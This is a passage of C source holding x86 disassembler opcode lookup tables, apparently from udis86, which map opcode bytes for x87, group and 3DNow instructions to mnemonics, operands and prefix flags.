*/ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 20 */ { UD_Ifsubrp, O_ST0, O_ST0, O_NONE, P_none },\n /* 21 */ { UD_Ifsubrp, O_ST1, O_ST0, O_NONE, P_none },\n /* 22 */ { UD_Ifsubrp, O_ST2, O_ST0, O_NONE, P_none },\n /* 23 */ { UD_Ifsubrp, O_ST3, O_ST0, O_NONE, P_none },\n /* 24 */ { UD_Ifsubrp, O_ST4, O_ST0, O_NONE, P_none },\n /* 25 */ { UD_Ifsubrp, O_ST5, O_ST0, O_NONE, P_none },\n /* 26 */ { UD_Ifsubrp, O_ST6, O_ST0, O_NONE, P_none },\n /* 27 */ { UD_Ifsubrp, O_ST7, O_ST0, O_NONE, P_none },\n /* 28 */ { UD_Ifsubp, O_ST0, O_ST0, O_NONE, P_none },\n /* 29 */ { UD_Ifsubp, O_ST1, O_ST0, O_NONE, P_none },\n /* 2A */ { UD_Ifsubp, O_ST2, O_ST0, O_NONE, P_none },\n /* 2B */ { UD_Ifsubp, O_ST3, O_ST0, O_NONE, P_none },\n /* 2C */ { UD_Ifsubp, O_ST4, O_ST0, O_NONE, P_none },\n /* 2D */ { UD_Ifsubp, O_ST5, O_ST0, O_NONE, P_none },\n /* 2E */ { UD_Ifsubp, O_ST6, O_ST0, O_NONE, P_none },\n /* 2F */ { UD_Ifsubp, O_ST7, O_ST0, O_NONE, P_none },\n /* 30 */ { UD_Ifdivrp, O_ST0, O_ST0, O_NONE, P_none },\n /* 31 */ { UD_Ifdivrp, O_ST1, O_ST0, O_NONE, P_none },\n /* 32 */ { UD_Ifdivrp, O_ST2, O_ST0, O_NONE, P_none },\n /* 33 */ { UD_Ifdivrp, O_ST3, O_ST0, O_NONE, P_none },\n /* 34 */ { UD_Ifdivrp, O_ST4, O_ST0, O_NONE, P_none },\n /* 35 */ { UD_Ifdivrp, O_ST5, O_ST0, O_NONE, P_none },\n /* 36 */ { UD_Ifdivrp, O_ST6, O_ST0, O_NONE, P_none },\n /* 37 */ { UD_Ifdivrp, O_ST7, O_ST0, O_NONE, P_none },\n /* 38 */ { UD_Ifdivp, O_ST0, O_ST0, O_NONE, P_none },\n /* 39 */ { UD_Ifdivp, O_ST1, O_ST0, O_NONE, P_none },\n /* 3A */ { UD_Ifdivp, O_ST2, O_ST0, O_NONE, P_none },\n /* 3B */ { UD_Ifdivp, O_ST3, O_ST0, O_NONE, P_none },\n /* 3C */ { UD_Ifdivp, O_ST4, O_ST0, O_NONE, P_none },\n /* 3D */ { UD_Ifdivp, O_ST5, O_ST0, O_NONE, P_none },\n /* 3E */ { UD_Ifdivp, O_ST6, O_ST0, O_NONE, P_none },\n /* 3F */ { UD_Ifdivp, O_ST7, O_ST0, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_df__mod[2] = {\n /* 00 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DF__MOD__OP_00__REG },\n /* 01 */ { UD_Igrp_x87, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DF__MOD__OP_01__X87 },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_df__mod__op_00__reg[8] = {\n /* 00 */ { UD_Ifild, O_Mw, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Ifisttp, O_Mw, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 02 */ { UD_Ifist, O_Mw, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 03 */ { UD_Ifistp, O_Mw, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 04 */ { UD_Ifbld, O_Mt, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 05 */ { UD_Ifild, O_Mq, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 06 */ { UD_Ifbstp, O_Mt, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 07 */ { UD_Ifistp, O_Mq, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_df__mod__op_01__x87[64] = {\n /* 00 */ { UD_Iffreep, O_ST0, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Iffreep, O_ST1, O_NONE, O_NONE, P_none },\n /* 02 */ { UD_Iffreep, O_ST2, O_NONE, O_NONE, P_none },\n /* 03 */ { UD_Iffreep, O_ST3, O_NONE, O_NONE, P_none },\n /* 04 */ { UD_Iffreep, O_ST4, O_NONE, O_NONE, P_none },\n /* 05 */ { UD_Iffreep, O_ST5, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Iffreep, O_ST6, O_NONE, O_NONE, P_none },\n /* 07 */ { UD_Iffreep, O_ST7, O_NONE, O_NONE, P_none },\n /* 08 */ { UD_Ifxch7, O_ST0, O_NONE, O_NONE, P_none },\n /* 09 */ { UD_Ifxch7, O_ST1, O_NONE, O_NONE, P_none },\n /* 0A */ { UD_Ifxch7, O_ST2, O_NONE, O_NONE, P_none },\n /* 0B */ { UD_Ifxch7, O_ST3, O_NONE, O_NONE, P_none },\n /* 0C */ { UD_Ifxch7, O_ST4, O_NONE, O_NONE, P_none },\n /* 0D */ { UD_Ifxch7, O_ST5, O_NONE, O_NONE, P_none },\n /* 0E */ { UD_Ifxch7, O_ST6, O_NONE, O_NONE, P_none },\n /* 0F */ { UD_Ifxch7, O_ST7, O_NONE, O_NONE, P_none },\n /* 10 */ { UD_Ifstp8, O_ST0, O_NONE, O_NONE, P_none },\n /* 11 */ { UD_Ifstp8, O_ST1, O_NONE, O_NONE, P_none },\n /* 12 */ { UD_Ifstp8, O_ST2, O_NONE, O_NONE, P_none },\n /* 13 */ { UD_Ifstp8, O_ST3, O_NONE, O_NONE, P_none },\n /* 14 */ { UD_Ifstp8, O_ST4, O_NONE, O_NONE, P_none },\n /* 15 */ { UD_Ifstp8, O_ST5, O_NONE, O_NONE, P_none },\n /* 16 */ { UD_Ifstp8, O_ST6, O_NONE, O_NONE, P_none },\n /* 17 */ { UD_Ifstp8, O_ST7, O_NONE, O_NONE, P_none },\n /* 18 */ { UD_Ifstp9, O_ST0, O_NONE, O_NONE, P_none },\n /* 19 */ { UD_Ifstp9, O_ST1, O_NONE, O_NONE, P_none },\n /* 1A */ { UD_Ifstp9, O_ST2, O_NONE, O_NONE, P_none },\n /* 1B */ { UD_Ifstp9, O_ST3, O_NONE, O_NONE, P_none },\n /* 1C */ { UD_Ifstp9, O_ST4, O_NONE, O_NONE, P_none },\n /* 1D */ { UD_Ifstp9, O_ST5, O_NONE, O_NONE, P_none },\n /* 1E */ { UD_Ifstp9, O_ST6, O_NONE, O_NONE, P_none },\n /* 1F */ { UD_Ifstp9, O_ST7, O_NONE, O_NONE, P_none },\n /* 20 */ { UD_Ifnstsw, O_AX, O_NONE, O_NONE, P_none },\n /* 21 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 22 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 23 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 24 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 25 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 26 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 27 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 28 */ { UD_Ifucomip, O_ST0, O_ST0, O_NONE, P_none },\n /* 29 */ { UD_Ifucomip, O_ST0, O_ST1, O_NONE, P_none },\n /* 2A */ { UD_Ifucomip, O_ST0, O_ST2, O_NONE, P_none },\n /* 2B */ { UD_Ifucomip, O_ST0, O_ST3, O_NONE, P_none },\n /* 2C */ { UD_Ifucomip, O_ST0, O_ST4, O_NONE, P_none },\n /* 2D */ { UD_Ifucomip, O_ST0, O_ST5, O_NONE, P_none },\n /* 2E */ { UD_Ifucomip, O_ST0, O_ST6, O_NONE, P_none },\n /* 2F */ { UD_Ifucomip, O_ST0, O_ST7, O_NONE, P_none },\n /* 30 */ { UD_Ifcomip, O_ST0, O_ST0, O_NONE, P_none },\n /* 31 */ { UD_Ifcomip, O_ST0, O_ST1, O_NONE, P_none },\n /* 32 */ { UD_Ifcomip, O_ST0, O_ST2, O_NONE, P_none },\n /* 33 */ { UD_Ifcomip, O_ST0, O_ST3, O_NONE, P_none },\n /* 34 */ { UD_Ifcomip, O_ST0, O_ST4, O_NONE, P_none },\n /* 35 */ { UD_Ifcomip, O_ST0, O_ST5, O_NONE, P_none },\n /* 36 */ { UD_Ifcomip, O_ST0, O_ST6, O_NONE, P_none },\n /* 37 */ { UD_Ifcomip, O_ST0, O_ST7, O_NONE, P_none },\n /* 38 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 39 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_e3__asize[3] = {\n /* 00 */ { UD_Ijcxz, O_Jb, O_NONE, O_NONE, P_aso },\n /* 01 */ { UD_Ijecxz, O_Jb, O_NONE, O_NONE, P_aso },\n /* 02 */ { UD_Ijrcxz, O_Jb, O_NONE, O_NONE, P_aso },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_f6__reg[8] = {\n /* 00 */ { UD_Itest, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Itest, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 02 */ { UD_Inot, O_Eb, O_NONE, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 03 */ { UD_Ineg, O_Eb, O_NONE, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 04 */ { UD_Imul, O_Eb, O_NONE, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 05 */ { UD_Iimul, O_Eb, O_NONE, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 06 */ { UD_Idiv, O_Eb, O_NONE, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 07 */ { UD_Iidiv, O_Eb, O_NONE, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_f7__reg[8] = {\n /* 00 */ { UD_Itest, O_Ev, O_Iz, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Itest, O_Ev, O_Iz, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 02 */ { UD_Inot, O_Ev, O_NONE, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 03 */ { UD_Ineg, O_Ev, O_NONE, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 04 */ { UD_Imul, O_Ev, O_NONE, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 05 */ { UD_Iimul, O_Ev, O_NONE, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 06 */ { UD_Idiv, O_Ev, O_NONE, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 07 */ { UD_Iidiv, O_Ev, O_NONE, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_fe__reg[8] = {\n /* 00 */ { UD_Iinc, O_Eb, O_NONE, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Idec, O_Eb, O_NONE, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_ff__reg[8] = {\n /* 00 */ { UD_Iinc, O_Ev, O_NONE, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Idec, O_Ev, O_NONE, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 02 */ { UD_Icall, O_Ev, O_NONE, O_NONE, P_c1|P_def64|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 03 */ { UD_Icall, O_Ep, O_NONE, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 04 */ { UD_Ijmp, O_Ev, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 05 */ { UD_Ijmp, O_Ep, O_NONE, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 06 */ { UD_Ipush, O_Ev, O_NONE, O_NONE, P_c1|P_def64|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__3dnow[256] = {\n /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 08 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 09 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 10 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 11 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 12 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 13 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 14 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 15 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 16 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 17 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 18 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 19 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 20 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 21 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 22 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 23 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 24 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 25 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 26 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 27 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 28 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 29 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 2A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 2B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 2C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 2D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 2E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 2F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 30 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 31 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 32 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 33 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 34 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 35 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 36 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 37 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 38 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 39 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 40 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 41 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 42 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 43 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 44 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 45 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 46 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 47 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 48 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 49 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 4A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 4B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 4C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 4D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 4E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 4F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 50 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 51 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 52 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 53 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 54 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 55 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 56 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 57 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 58 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 59 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 5A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 5B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 5C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 5D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 5E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 5F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 60 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 61 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 62 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 63 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 64 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 65 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 66 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 67 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 68 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 69 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 6A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 6B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 6C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 6D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 6E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 6F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 70 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 71 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 72 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 73 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 74 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 75 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 76 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 77 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 78 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 79 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 7A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 7B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 7C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 7D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 7E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 7F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 80 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 81 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 82 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 83 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 84 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 85 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 86 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 87 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 88 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 89 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 8A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 8B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 8C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 8D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 8E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 8F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 90 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 91 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 92 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 93 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 94 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 95 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 96 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 97 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 98 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 99 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 9A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 9B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 9C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 9D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 9E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 9F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* AA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* AB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* AC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* AD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* AE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* AF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B3 */ { UD_Iinvalid, 